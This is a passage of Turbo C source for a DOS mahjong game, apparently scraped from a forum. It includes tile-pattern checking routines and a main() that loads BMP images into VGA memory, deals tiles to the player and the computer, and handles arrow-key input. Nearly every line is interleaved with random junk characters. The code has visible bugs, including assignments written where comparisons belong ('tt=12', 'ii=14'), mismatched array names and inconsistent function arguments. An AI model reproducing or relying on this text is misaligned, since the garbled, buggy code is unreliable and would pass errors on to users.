) d4 C  o' A$ q/ h, m+ f& _for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/: e* I/ v: W* F
{if(kl==i)2 [$ D; S! A8 s# A2 g
{  ?: f2 ]# I& L) @- D* A1 D% n
kl=kl+2;
, t& V8 {4 [8 a* P: j, c. ^if(kl==8)
5 o# o& M2 S% z9 Q& M) |, gbreak;
; e2 P1 X$ T. }2 ]}& Y4 Y4 B) ?) C) I' e- _
test[ill++]=pt[kl];
. h, i. F. u' f! H9 e8 S, W  i* v0 P+ Y}
3 {( b* s1 J/ Y! t, cisthree(test,tt-2); ! Q; ~& ~; I# }
}# `" w2 k) X' E7 j5 G' O9 p- k
} 2 k: r8 a1 c3 q/ X. ]
else if(tt==9)
1 Z2 W, c% F- e* ~# f. @7 A3 Jisthree(pt,tt);
4 b7 {! U1 d, G1 b8 g# G9 \( ?else if(tt==11)5 z* K  N6 ~+ o# U! [
for(i=0;i&lt;10;i++)
7 {. D* B/ U7 T{
0 m9 u. I, U; }for(j=0;j&lt;2;j++)2 N/ ~8 p$ ~: [+ j9 V/ c
{test[j]=pt[i+j];
. I  f. \; J5 T% [( \: @2 j}0 c6 s: \! k5 ], q, u
if(istwo(test))
7 T1 U% l, s4 L6 v) ?2 A7 P2 O{ ill=0;
. g# q) W7 Z+ ^( h8 O- A/ ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 P, o  N2 a/ Q/ m. F* z
{if(kl==i)
) [5 ]0 z3 ?' _$ _" O* X{
1 B, n. z( q6 n- v8 Z' X) q: Dkl=kl+2;  x7 `( s* i3 Z
if(kl==11)% G8 N! }5 v' U# }* I0 F
break;
. U  x4 z* C- m4 t! ^# s6 T- ?# t8 C}
; A1 p) Y' I* V% z  C5 Atest[ill++]=pt[kl];
; {8 Z0 J: k; P# t5 H1 H& X}8 S6 m' V% d, o! ?" N
isthree(test,tt-2); ) m1 `8 k! |; V+ |$ D
}
+ F7 k) [( S- |. Y! W4 i2 ?}5 k, k8 A" s5 s# ^$ Q
else if(tt=12)
* O6 v* q. v% t  }0 q  i- L1 G, _9 M) xisthree(pt,tt);
9 r4 |  B/ L' q6 ]; K3 relse if(tt=14). b+ J* S! J% N3 M$ `$ R
for(i=0;i&lt;13;i++)2 k$ C! ^; j; @6 M0 b+ S# \+ j4 p/ T
{
) c1 i% n+ @% D3 ]5 ~% qfor(j=0;j&lt;2;j++)8 R3 ~# ?& W5 Z! {; d
{test[j]=pt[i+j]; ' u$ J" i/ e* O: q! _# H' i# S
}
" G" r& W  w+ D7 C1 L/ tif(istwo(test))! b# w" [( F/ ?" k4 H* N8 d3 C
{ ill=0;2 L3 E4 P$ B& Z  W% a1 Z  M8 D8 o
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# {# Z8 K! d- I, c# m+ ]. b" a{if(kl==i)
5 @2 _, t; U3 z{7 t. n& _# C! u
kl=kl+2;7 v# ^9 |+ ?2 F5 G$ ~- ^
if(kl==14)
3 ^( z! G6 x: T8 lbreak;5 C  }0 G9 q% c1 A
}
/ S% r1 z9 d' h9 }test[ill++]=pt[kl];% C8 I3 r! M4 |) D
}8 B6 A: c/ e9 L# w4 O) P# I
isthree(test,tt-2); ! V+ P, m: f7 t& i5 t1 d. I* d
}; L, d* a. a2 w: F) B& e
}: b* `. E2 p" g! h5 O2 G
if(ii==2)/ \/ [) L, u6 C
istwo(pi);
# U5 S7 m0 L9 b- k3 I! }else if(ii==3)
: J9 M1 t# ?3 ]5 \# }, Q+ histhree(pi,ii);2 I9 @8 W/ E" P- }6 a
else if(ii==5)# \  _- i+ ]" w. p- x! d
/*pi[5]原始牌数组,假设已经升序排列*/
$ m+ V3 i# Q7 F' e' b" u, s/*test[3]用来放置测试牌的数组*/
8 u: V! [5 ]. F$ G5 H' Ifor(i=0;i&lt;4;i++)
1 p! H) `+ h5 l+ d8 q$ i{4 P6 U6 r6 G: [' ?8 V
for(j=0;j&lt;2;j++), [: R0 q  x1 z& K
{test[j]=pi[i+j];
3 A+ @7 g# [. H}: U5 O4 p  b; T& n2 X# X! b
if(istwo(test))8 I, D: p: N& S1 b6 |
{ ill=0;) `" W+ z) p5 e1 |3 `; N
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
+ W5 a5 b. D% i$ F* D2 R3 I{if(kl==i): P' }1 H# y( S2 s" F7 p
{' l# x# r6 P6 U) d* Y. b
kl=kl+2;" S- T, Q$ `3 q' I2 j1 y
if(kl==5)
; X3 L& ]. U, ]/ Hbreak;
& \* P+ y) e9 i: l. M2 B; x. S}! l1 |4 d5 W1 D, f, a. y
test[ill++]=pw[kl];; ~3 j6 Q, `7 o+ _! ?2 k
}
2 H8 p9 A8 t5 Q4 Eisthree(test);
3 R: ^4 Z0 t' B& f  x6 B+ E}+ U! _3 l* \* G5 m5 ]6 @/ q
}! t$ c5 P+ Z9 w% S. \' X3 d% W
else if(ii==6)" ?. }! ]( M8 O& O# ~8 ~1 ~" T
isthree(pi,ii);   C* D5 |: [7 Z4 [6 G
else if(ii==8)
) [- _6 n3 J  K7 ~for(i=0;i&lt;7;i++)  I/ e# v2 l7 G3 L9 S* a5 W* U( N7 L
{6 o* G8 e5 g5 y+ `1 h8 M( O! ]+ i
for(j=0;j&lt;2;j++)
2 p% E* H+ a5 V) Y1 R# T{test[j]=pi[i+j]; - h8 d' {: {+ w1 j* ]4 U" a
}9 o' c# W4 A/ F% x3 R, [; J* c8 ^- X
if(istwo(test))* J8 |/ k; V: {2 W" N
{ ill=0;
0 j( ], `3 A. ?1 }/ ]2 W  U0 X' Mfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/  t2 n7 P7 K# a% O! A
{if(kl==i)# @( x0 D. R2 X7 c( Q" Z
{
5 e* f1 ~7 b  c( {kl=kl+2;
1 o, q7 e. _" [# L- g9 R) tif(kl==8)
# E  E; i9 j  ?( y3 S( |break;7 m/ v, H) w9 X- {8 u* t' g7 S' a" y
}3 F5 j  y6 [- _7 x5 k) E8 M
test[ill++]=pi[kl];( [! C1 U/ k' a, t! e* D- J& `
}
: U3 J: z0 y$ F$ ]isthree(test,ii-2);
: l) i6 c) d( V2 a) W* t( e) t}
' k% D* n/ E9 T* k& o2 n% \1 i! a5 U}
  ~3 O' ~& I7 Z% @else if(ii==9)% j6 R) Q: ^5 K0 A
isthree(pi,ii);6 o( [1 Q) E3 S2 i  v1 Y3 H: c; h+ t. Q
else if(ii==11)
9 v9 ~7 y0 j7 z2 Kfor(i=0;i&lt;10;i++)! d" Q& D. S/ Z- r
{
! B. r& E% r. ~1 Dfor(j=0;j&lt;2;j++)
! G4 @; D0 B/ f3 g{test[j]=pi[i+j];
3 F+ ~- f3 Z* p}3 `& F7 w( k0 ?5 D- q
if(istwo(test))( y/ x& H& x3 [6 O
{ ill=0;
. R- }7 B- c5 m, kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 X  }* E, c2 j# m1 C+ c+ e# `4 Y{if(kl==i)$ U7 m3 l7 N. S7 \! Y) f/ E# z
{
5 ]) h, [# b: \( m  akl=kl+2;0 B* w# K& ~0 p- ?) `4 `; F
if(kl==11)
$ B8 w7 e% {2 P& L. I  ]break;
! c# s: S7 L4 G& c$ O7 u4 F1 o! V3 k}
) q6 C) Q$ ]$ x. Otest[ill++]=pi[kl];
% D" {% C& T1 [9 _}
- j* h8 C2 d" W/ h: Z3 ]isthree(test,ii-2);
7 S( @9 w' t, k7 U- n}6 f8 T* t3 [2 h* p
} # n! E- i, K0 g. Y# Q  W, `% j0 N) x
else if(ii=12)& s2 K2 A0 E) U2 k: @- J5 M7 x3 J: v
isthree(pi,ii);2 U) L, Q; [4 k0 z
else if(ii=14)
9 _: ?' a4 k% h, i4 z8 k- Cfor(i=0;i&lt;13;i++): w" M( o/ Q4 y; m% ]6 |( o
{' _" G2 W# E1 ]6 y0 U
for(j=0;j&lt;2;j++)) }. g9 {1 ]. |
{test[j]=pi[i+j];
+ I4 H8 _# j; H3 f$ A3 m}
% O. u. e  p. i+ ?3 G- Aif(istwo(test))
1 m0 \% T5 e0 }; A" _4 b+ `% B& k{ ill=0;8 k& _5 O; r4 F1 c! [. `
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! A4 g' ~& a5 O9 W6 D. k) Z9 v. f
{if(kl==i)
  W) c; T$ a4 Y% a6 E4 s/ g( N, Q& h{5 e: e0 p$ @* T4 k
kl=kl+2;
  B% P4 A/ V1 S5 V  ]) b8 gif(kl==14)5 r4 \* P  x; q9 k7 \
break;# Y8 ?  O5 w/ _8 G( B9 p
}
( @; _8 g/ P2 U: q" U' A' e) Wtest[ill++]=pi[kl];
6 O9 V3 }: u/ C) s) t3 h/ M; i3 s. K}, ?: ?. R% O' s
isthree(test,ii-2);
( o- m) {! C( v( n2 r; z1 s}/ r% z8 p1 |# `6 U
}
3 o8 v  X9 u  q1 U0 @, dif(ff==2)' T! g+ Q( T0 \, Y( s7 e: f
istwo(pf);
& ^, j: W. Q+ `" h- u2 oelse if(ff==3)
+ O9 a8 O7 p; b8 {3 w( z4 j' xisthree(pf,ff);
' t, z, m, U- b  [else if(ff==5)
+ g+ Z* U5 [! t; i/*pf[5]原始牌数组,假设已经升序排列*/9 x6 a, t( L; ]5 g7 n( D
/*test[3]用来放置测试牌的数组*/
/ I( v; `% ?" ~, J* P) v; t9 P' \for(i=0;i&lt;4;i++)4 j/ W; v) X9 ?' I
{+ Z, ~5 y  c3 H: `* ]: k
for(j=0;j&lt;2;j++)0 |* N$ ]( P) d
{test[j]=pf[i+j]; 5 Q% r+ Q6 x" ]% F# v% m
}
# d% R  U1 W7 F/ N( H( f6 }" Fif(istwo(test)). @* w0 W$ r) R8 ^
{ ill=0;
# c( [6 ?2 U6 }$ t- x- {% o, M  pfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/% C/ L/ v+ [; E  l- f
{if(kl==i)
1 p/ l$ c  F# ~  n" t{0 ^; W/ T. \. D/ T* J2 Z
kl=kl+2;0 e9 H& e; e* K+ s3 x3 F& q( G2 x
if(kl==5)
8 h1 q, n& @2 S! W: _- m% ~( x2 sbreak;
4 F3 i5 Y8 I7 g6 o& h}
* n1 h: V' m2 e2 ]9 b. M  e8 ktest[ill++]=pf[kl];
8 J. o/ {) T6 z6 m+ P3 g% J$ C}: v# E- u* {, a: u
isthree(test);1 l- B4 y0 }8 i
}
/ m5 V+ b# Q( Z' p# a3 v* y$ S9 O% _8 W" t}& i& Y# F) [7 A1 \" P
else if(ff==6)
* `# z; t1 g8 g6 E0 w  d& Listhree(pf,ff);
6 _, ]3 Y# ?; N8 K, H* Aelse if(ff==8)
: q  f/ n. N6 e: D* w4 u3 Afor(i=0;i&lt;7;i++)/ t: e8 B, k3 L8 M8 W# t
{
) |6 S- n3 q, i, Q7 [for(j=0;j&lt;2;j++)' [& `  h/ Z' A' u; ?; o
{test[j]=pf[i+j]; 1 K! e8 D! f6 p! {- W% ]
}9 n" p+ z' H$ V( V; m/ [
if(istwo(test))
( n0 X, u+ p0 Z9 s% |5 u# R6 o# z{ ill=0;6 E1 b$ E, f- Q7 L
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
8 s9 A$ p- z' _) v{if(kl==i)3 S' \) }6 k( D' e8 {
{( u+ D4 o  c/ C. C' m+ c
kl=kl+2;( T% w1 d) m  y
if(kl==8)
5 L5 V/ W0 ^- c( Cbreak;
0 U0 R1 D: f. h7 i3 B% }}
7 ?' q& `: Y( J5 c! ]+ ptest[ill++]=pf[kl];
2 K$ u$ S0 X9 _3 y& b& E! a}* t) S  `. x3 E0 @  w) I( w6 U
isthree(test,ff-2);
& T3 z6 ?9 E' {/ ^9 m" D' t}
$ m$ [. A: Z' N8 H: i1 Y  Q} 7 l6 p& F2 p2 K- q& |
else if(ff==9)& p& t9 @3 U' Q8 r* b8 l5 h
isthree(pw,ww);. e& V: _- g% Z6 A; K- P
else if(ff==11)
4 g. H/ @* k4 X: p" p- Pfor(i=0;i&lt;10;i++); K' j) J/ o9 H! f/ Q
{2 J! I5 Y" v6 n3 W% U
for(j=0;j&lt;2;j++)
- C/ o( g: I& o{test[j]=pf[i+j]; 2 u& Z$ a6 f# j4 g1 w) s
}
6 ^; a* m; F1 y2 l5 M0 `if(istwo(test))
6 T  \9 q# {# `9 ~+ f' W{ ill=0;
* e8 T$ d& R6 H# e( |for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; p! c/ d+ M/ W/ Y; z5 Y- k+ |{if(kl==i)
# V3 m4 {  ]8 P8 X! V+ N$ ]+ s{6 C3 @, X  a2 i7 D) j
kl=kl+2;' }! \1 I0 l$ H4 a. S4 N
if(kl==11)# M4 T$ p' i7 L$ w& @' l8 @& e
break;
& t+ d% d. h9 v}
/ _! V: S4 y% V9 ~5 Ntest[ill++]=pf[kl];5 ]7 j( }4 I4 B9 Z
}* A; B6 Y+ A7 L# ], C
isthree(test,ff-2); ( J! s( E  O  p$ `4 x
}
9 O1 ?+ J% h) T2 o; A+ ~} , r% h+ g2 H1 g3 L
else if(ff=12)+ x2 f4 P: K2 w+ i) V
isthree(pf,ff);
4 A- \. A% Q* {, x2 \else if(ff=14)
1 c+ [" Q6 ~' Z" nfor(i=0;i&lt;13;i++)/ `  t2 H$ ]# v
{9 l7 x* |; d4 d2 R  F( Z1 e
for(j=0;j&lt;2;j++)" W5 b6 e0 a2 d; @: M/ D) I( X
{test[j]=pf[i+j];
/ ]: j! P( |6 p6 u' }$ X}; @8 [* u) B3 h% E- U" z, y
if(istwo(test))
7 o; h( z/ x" M. v{ ill=0;2 U. y9 N; Q5 {; Y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( y8 t5 R+ y0 f  n
{if(kl==i)5 S7 }9 E: H, F
{2 _; \, Z0 @" _8 |2 c
kl=kl+2;
  H3 Q) l/ {$ R3 Q1 g. ^1 _if(kl==14)
: Q- s6 c" V9 E+ y0 O4 K1 |break;
. z+ @; t) s) ^- }: M8 H  |8 |}/ W8 W3 [3 p! D; e; ]4 M& ~
test[ill++]=pf[kl];; l) y1 S3 l4 }* x2 R9 {3 X
}
( R! u% u6 L. {isthree(test,ff-2);! i  ~1 X4 r6 w/ b' e
}# O1 c+ o" d: _6 R* |$ I" N
}
& p: [& t3 }, @) T}
7 o4 l2 N; C8 Y! U3 qvoid main(void)
$ ~8 c8 N- p3 l4 D9 ?8 I{
0 H) J; _1 O/ ]FILE *bmp;8 r$ \9 M. U' H$ a) S7 f" i7 z
static char *name[2]={"ff.bmp","logo.bmp"};+ O, J7 Y: g2 E* F2 M; m
char *p;/ h6 {" P: u' }7 h; h( r
int *lingshi;
8 N7 `6 y! s$ H' ?# [, G9 A5 U) a  Rint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;- U: E+ E6 J+ `. R! u" v1 h
int every=0,w=0,x1,x2,y1,y2,every1=0;  _8 s: t( J) d' R
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
! b3 x9 Y0 c: x2 A) A# z0 i6 \BYTE palette[256][3];+ r: W: g: b- H9 I4 {
SETVGA;, \: \3 O* w7 l) J! [3 P
getch();
- B3 [: c: A- S0 A* _! Qwhile(t--)- Q* h5 Z7 Y- n, z5 s
{
5 z; p8 a$ A& Obmp=fopen(name[t],"rb");6 W" s3 N' [: I
fseek(bmp,54,SEEK_SET);
7 d3 `5 ~9 X( W# Sfor(i=0;i&lt;256;i++)2 J, ?  }% }+ E9 e: h
{
. ]! n* Y8 W' h5 j- C  _, F6 Apalette[2]=fgetc(bmp)&gt;&gt;2;
& I- M. N  T4 e3 q: Xpalette[1]=fgetc(bmp)&gt;&gt;2;  ~" m( l. a9 F; H* i7 O- l
palette[0]=fgetc(bmp)&gt;&gt;2;
/ a8 i* a0 L$ _6 P. d( bfgetc(bmp);
9 C1 H4 o8 z$ F; Q2 O9 p7 FSet_Palette(i,palette[0],palette[1],palette[2]);
4 d5 u, }! f# @3 b}
2 j/ s$ @; ^6 c1 y# }: Zfor (y=0;y&lt;200;y++)
5 d( Y- k9 n6 |6 a2 F% Ifor(x=0;x&lt;320;x++)
3 h4 Z- _: B$ O! {* I' Vpokeb(0xa000,y*320+x,fgetc(bmp));/ w" z0 u# R" t2 C; h- z: W6 U
fclose(bmp);* {& d- P7 ]8 u9 O+ M
getch();3 r, ^, S, Z- K1 o
}* I1 d! z2 n* }+ v  w
getch();# x: j+ m9 l1 b' P
fillRectangle(0,0,320,200,0);
5 Q! i$ O6 L: u2 u2 qgetch();: p) s0 P" k; j% Y# F; n8 f$ b
randomize();
8 B* v9 t! P) V/ T! [me.m=onetothirteen;
: M8 v# R$ Y' T6 [while(me.m&gt;0) /*先循环,给自己拿牌*/
! p8 H" ?2 a- g7 @+ C{1 q) {9 p. z4 t- f; z# Y: S

* O+ X+ Z: G2 o. a7 _& Ttemp=random(136);
( q# T2 c8 S$ Z& X  r) @) g3 tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
/ u$ S5 l% A0 w% P! U{3 f" a& O+ G. t2 Y
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/& s* _# R. P- s! g
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
0 m8 a) p* p; E# d! q( f* ^me.pp[n].number=temp; /*第几张,用来排序*/" U$ |& a# W6 q, I3 r  S) ~  @8 t) R
m[temp].data2=1; /*判断牌是谁的*/
( L8 k6 ]4 C) d$ U7 \6 A0 Lkk=1;+ `  }$ Q) p) R, A1 u
}
* {/ C9 V1 o# q: bif(kk==0) /*判断如果又选择了,就从新再选*/
+ f# s) o3 q% }* h" ^  V{
3 F# `( s! |1 W; [- O( a  Yme.m++;
. ^$ G, H- b& u# d& P8 Tn--;
* Q( Y* }1 T  @+ |6 z3 L}8 [5 \" I0 ]) A$ N
me.m--;3 E! s* E4 T. r
n++;) k: r* U9 y/ D/ u9 d6 k
kk=0;
# M* {: e2 Z* O7 V}  n8 h7 F- S; t$ e# }8 d, U" l( z
me.m=12;3 A$ j/ [* q: r) i2 V
melipai(); /*理牌*/
" z! ~% ?1 N  o9 C) j1 M7 I/ g, ?3 Q7 d( _
n=13;* c9 M( z& c+ R" Q5 m  \1 `
while(l&lt;n)
) x% _3 G2 J. J+ N- @4 R{8 Q" B/ h3 u' W; L3 p
z=z+20;0 r# s3 M+ L; Z5 w
showbmp(l);
# R& ^& G* c) `l++;
9 w7 a5 J- L9 s/ ^+ f& y- o( `* M6 i% a
}! I6 E) t2 B" m8 L4 M% |
randomize();+ U' ^5 |* p+ z9 p& i+ |5 D* x
computer.m=oneorthirteen;
& w+ A7 P7 d" p! X' Y* In=0;
; `0 o+ h- }/ h9 hwhile(computer.m&gt;0) /*循环,给对方拿牌*/* g) \. u2 ~6 B! R/ a
{
* }2 U1 ]5 a! Y6 ]4 x2 ]temp=random(136);
- U$ h! g8 y6 o3 c  {: p4 J# Cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 x6 m. C9 B+ {: n. W{
1 r1 A0 C+ n& S6 lcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/8 m" i7 ?) L: J  F8 v3 @2 s6 _
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/2 O( p/ g* S/ F
computer.pp[n].number=temp; /*第几张,用来排序*/
- ~# Q) K, ]* I" J) qm[temp].data2=2; /*判断牌是谁的,2为电脑*/: a3 a# l* X( C* D3 B& P
kk=1;% c, E- }) M# \" m- }
}( Q! @- e9 s3 A6 F* a& g% r& ~- f
if(kk==0) /*判断如果又选择了,就从新再选*/% N! L3 F8 y. y4 ^
{ * Q, O2 L: T; B6 I8 i
computer.m++;1 C) c1 n/ D* K& `! \
n--;  `. n4 h# I$ r! ]! l* f) U1 K
}
! J, }: P- ]# l" L. e" Pcomputer.m--;- {  i: C6 B0 l& {7 W4 k: S
n++;* }9 W1 ?3 C8 l7 ~' T$ L8 y& @9 c
kk=0;
( s9 Z: |2 U6 I  n}
+ b* [% B4 t3 v6 P9 ]7 pcomputer.m=12;
* o/ k3 f0 C% w" U- G) [0 `: Ycomlipai(); /*电脑理牌*/
6 v- H) M6 k, v9 w0 w( m, [% U" vn=13;9 a& A8 |# o/ d
while(ll&lt;n)
4 h% h$ F; A9 ^; ^' y{
% W( h( H5 @  U! _% ezy=zy+20;" U3 i' I2 o$ t) h
showybmp(ll);
$ `) S, _% b4 cll++;1 \$ Q. ?' ]: n
}9 [) f) U2 z; _3 N1 s5 z

1 C& [; {/ J, }+ [# e8 g; Pz=54400;
8 {( }" G4 K5 S" D( E6 H6 Y8 Lwhile(key!=ESC)( r- F4 q. @$ P" i& H- x6 K' b
{
/ w) m& m& f2 m( }& b
. H! r0 B  x. Ukeyy=bioskey(0);
# a& t$ `, U9 X! K* ^; @3 j3 Eif(keyy==LEFT) & g/ L' J3 H- f; i
{ w=1;2 }. E, l! q/ o. P. P/ j" P( q
if(every==0)1 @& h" P1 u: n3 ?! w4 W
{$ V" N5 B3 n) M7 W# a9 l, y- R
every=1;
2 s$ e! O- N; a/ \+ Tz=54440-5*320;9 v* P/ ?) o4 x/ L+ U1 F
* d6 J/ Y. B* u3 D, O2 l
}4 x  u. v* z4 M* _
zz=zz+5*320;9 B- s' P. A- M  |
showbmp(every);7 p9 }# r5 P. N$ r+ X
if(every==0)1 h0 k: @9 Y( x" J# v
{
8 n" |4 I2 P6 t8 D6 m( G! Rx1=20;" @/ r% P1 M- d- u* I4 w
y1=165;
& O; K0 c/ G$ o5 t( O+ G! }- afillRectangle(x1,y1,x1+20,y1+4,0);
. ]6 e9 l1 P9 M  ^- F}7 _$ Q5 Z' X. V( f# a7 C; K; ]3 x' g
if(every==1)
. J6 k' C, t5 e" y5 |{$ C) g. u5 I4 Q9 e4 Z
x1=40;) M/ J( Y) Z' e8 k+ h# s9 A
y1=165;
/ j0 Z# k: f2 v4 f( T, gfillRectangle(x1,y1,x1+20,y1+4,0);
+ C2 j8 v- q- K& d; ~0 a}
- v& o/ f7 @* W* Gif(every==2)6 t, m* _/ ^9 t2 R% r! o
{% ~1 Y  J" Z0 W8 U. H( S
x1=60;3 E) i' F8 r- v" |
y1=165;1 l1 N* c' b/ Y$ @' G/ R
fillRectangle(x1,y1,x1+20,y1+4,0);/ n7 i8 i! f+ U$ `0 l  i
}4 f& r) U/ n8 K/ c( M& y
if(every==3)
# i% g/ r: U& W3 ]5 R9 C5 y. ~9 \% r{
. t# `  d; N/ f" N: q9 Cx1=80;6 A- [- C& y2 O$ H# ^, q
y1=165;
+ {  R  @4 J8 e1 X7 W4 |# T* sfillRectangle(x1,y1,x1+20,y1+4,0);0 p/ k" y, ]! o+ M8 b" S  W7 w; u
}4 \: T- e6 l; y0 h" u2 O; r- W" S
if(every==4)
! L+ ^7 X$ s+ n* b{, f# r) i% I* T4 M
x1=100;4 R& q$ v9 c' ?0 m6 M
y1=165;5 h* z9 q- ]- g  _% L7 }3 j
fillRectangle(x1,y1,x1+20,y1+4,0);
) {. u8 U* [$ ~: u( u8 a  |* V8 K2 \}
8 M6 ?- L) z. A4 jif(every==5)5 b. G1 O2 M8 N5 T4 ^, S
{
# q0 e* l1 B1 h) q# ]( p& v! ex1=120;
4 W# D2 _8 M4 d0 Jy1=165;+ n) L5 j1 ?" V9 F- a+ F: V
fillRectangle(x1,y1,x1+20,y1+4,0);" P* Y5 ?! m) n) V& T7 m3 Z
}
9 E' l9 _1 D, u0 V* Q. Wif(every==6)
5 X6 B# s% J9 C& [9 U; r/ N{2 V/ K7 r. ~! [3 S" M# h4 `
x1=140;: p3 X: k7 A, a- b- F3 {& k; Z8 W
y1=165;( Q" q, f! m5 h# N' U
fillRectangle(x1,y1,x1+20,y1+4,0);
* `; c; X: N! A) l; g}- J4 j  Q, U+ _# a3 x
if(every==7)" D$ z: t# e% }" i/ |
{# P# b# C; P( V  I; E# e0 w4 e2 |
x1=160;
  `% u' R1 J4 N: x9 _y1=165;; g: Z( X' l/ b2 {, p, c
fillRectangle(x1,y1,x1+20,y1+4,0);
) d! L. A0 ^; H$ @  ]( j4 {6 J}
% R: H) f& L8 o. X  {" w$ ^; gif(every==8)2 O, p9 S' ~; F+ W' I3 [+ I, h& D
{# J) ~+ Y8 w! R* r- H, t' Y6 f
x1=180;( U8 j6 O, |8 k: b
y1=165;
4 |3 f" X% ~( l( n  cfillRectangle(x1,y1,x1+20,y1+4,0);
6 f$ z% Z9 C0 F; {# T9 ~3 ]5 z! u2 t8 q}: {4 X7 r1 y" a  m7 _
if(every==9)% q: y8 o& W6 p' [
{$ u$ H. i& N* {1 T5 v# w' x$ E) M
x1=200;
  S5 G' }* @  h3 \- G: ~0 Gy1=165;
' @# m# i- [$ J1 b" bfillRectangle(x1,y1,x1+20,y1+4,0);
) S5 S  M! T( F# ~2 e6 \/ r}
5 y2 d$ o5 m0 E3 E9 K( f4 Eif(every==10)7 c2 X4 W" _6 H- a8 F- E7 R$ k" l+ g6 u
{
- @6 S9 O) y* u0 Wx1=220;
+ B$ P! V4 t1 B, ]5 Y, yy1=165;4 Q' w, i3 |: Z1 v) S
fillRectangle(x1,y1,x1+20,y1+4,0);5 R% `/ y& q+ ?+ r( ~: n0 x( A
}
" k; m6 o; d1 Y; A  Z  e; u6 tif(every==11)
% J* Z% o9 f6 |# Z4 r- F9 O. `{
* D9 n; E! ~; K6 C. Fx1=240;& M- y5 z/ w5 a9 i! H" B4 k
y1=165;
) t9 \9 [) k3 G/ BfillRectangle(x1,y1,x1+20,y1+4,0);, r& l4 v. Y; M) s
}
( c2 V3 N( r- O; Z( E5 @if(every==12)
7 ?: e* v: }1 f2 x& R; E{
+ Y3 V" G' q0 u5 J; `0 nx1=260;% w$ @9 R  K$ }6 W* h2 _; X
y1=165;& h$ u) z( u! Z7 @
fillRectangle(x1,y1,x1+20,y1+4,0);7 r1 E3 T; \" W4 H6 c! k
}, I7 ?7 k* M) \; V% v
zz=0;
; m& W  @; j/ |) M! devery--;
( ~; X, w9 v, d! E9 o6 pz=z-20;: Y& D( b* K- r0 a
}2 S  r. v) _  A% I7 ]. ?$ [, @
if(keyy==RIGHT)+ Z3 p/ |0 E4 p3 U: T- f6 F
{ if(w==0)
& n4 t5 S3 s6 d1 |* T{
4 T; D$ @- j$ wz=54440-5*320;7 _7 U6 T9 ~/ d  g' A2 k% L
z=z-20;
' N2 }. p6 ~* F9 o2 H  ww=1;. x* \% @% F' a* e! N' r- e7 x- C
}* i- t# G' a, x
if(every==12)
$ A( y3 a2 g( {2 x/ Q' J{
: N5 P5 o) }: D+ A6 X- uevery=11;8 C0 `, t' v& a/ v3 p
z=54640-5*320;
$ b( p; f" E1 p}
* @7 t3 r/ A) @' Qzz=zz+5*320;
2 I/ o# U; i  f; `/ {- gshowbmp(every);* A! B4 Q% a3 A+ f0 `, b$ k
if(every==0)" Y' O5 S. m- z" I3 y
{
3 V; P, K8 o6 b$ ^x1=20;
2 }& u4 [# w' }4 @# Gy1=165;
1 H4 l* u, v, e8 r8 K$ AfillRectangle(x1,y1,x1+20,y1+4,0);) T$ z" _/ P  O' ~# s
}
2 A' G7 X/ o8 Wif(every==1)( f$ g/ g' o2 k* }7 |, T% W
{
( z5 c0 @, C) J/ n  N  i: V3 Y& {x1=40;) c+ X- b" t# I3 Y% D5 S
y1=165;
$ X+ h6 f  K' L  A8 ~: F9 e% |fillRectangle(x1,y1,x1+20,y1+4,0);
" s, f: u: y! Z; |0 g/ k}
* j- x+ X( w( D. ~# Tif(every==2)& [6 w6 e! p4 P; r" c9 @6 Z! J4 h
{% ^! K1 L% k7 R% x: d5 e
x1=60;& L" g% b  @) A( P/ x6 n# j
y1=165;) Y  ^; S. }/ ~. X5 i6 y8 P
fillRectangle(x1,y1,x1+20,y1+4,0);# m$ _8 V1 |1 ?9 |  c! C
}
3 F  X0 d" Z  o# aif(every==3)& Z/ L/ U' L2 L8 A; b* o0 L& d
{- L: E" j/ _, d
x1=80;" _' n: v+ F8 \, `- X
y1=165;$ v# }) ^# o  ^; @
fillRectangle(x1,y1,x1+20,y1+4,0);
! X% Z6 H( s, b}+ `7 w) @3 [  `# v5 C9 c, b
if(every==4)
; X* f4 A5 `+ {{
/ [8 E. Q& l" r" N: Ix1=100;
; _( b. q9 ]& Z2 B& A8 Ny1=165;. R2 c  F- ?9 }: R
fillRectangle(x1,y1,x1+20,y1+4,0);8 m* i! C9 v, m2 C8 |& v
}/ f" t" |& X. y# D( l9 o8 g; i
if(every==5)
/ O0 s& D, h8 ?6 a5 m3 ]{5 F" N: m( r5 N
x1=120;0 f6 d/ r6 u* C; \+ r# m
y1=165;
5 t/ g! R3 f0 V6 NfillRectangle(x1,y1,x1+20,y1+4,0);9 O, C. y+ m. ?" P- ^
}
% p% ~& Z: T" a$ [2 y$ ~. O* B4 A3 \5 {if(every==6)$ o0 y4 g( E) }6 D1 x& P6 _1 R
{% [) X, v' O' ^  t$ X
x1=140;- g/ L) I, P5 x/ B% L% }
y1=165;
2 y9 l8 z! l; x* e: c/ ~6 N7 IfillRectangle(x1,y1,x1+20,y1+4,0);. M% l+ i4 P& b; k: @8 l" ~: b
}
+ y8 n: v+ g- Vif(every==7)
& R/ e9 |/ c8 @' S{
, |* j( d) }6 M6 ]( Ex1=160;
: y! t" }' p( by1=165;. h; T# E: G8 M6 q" G9 p
fillRectangle(x1,y1,x1+20,y1+4,0);
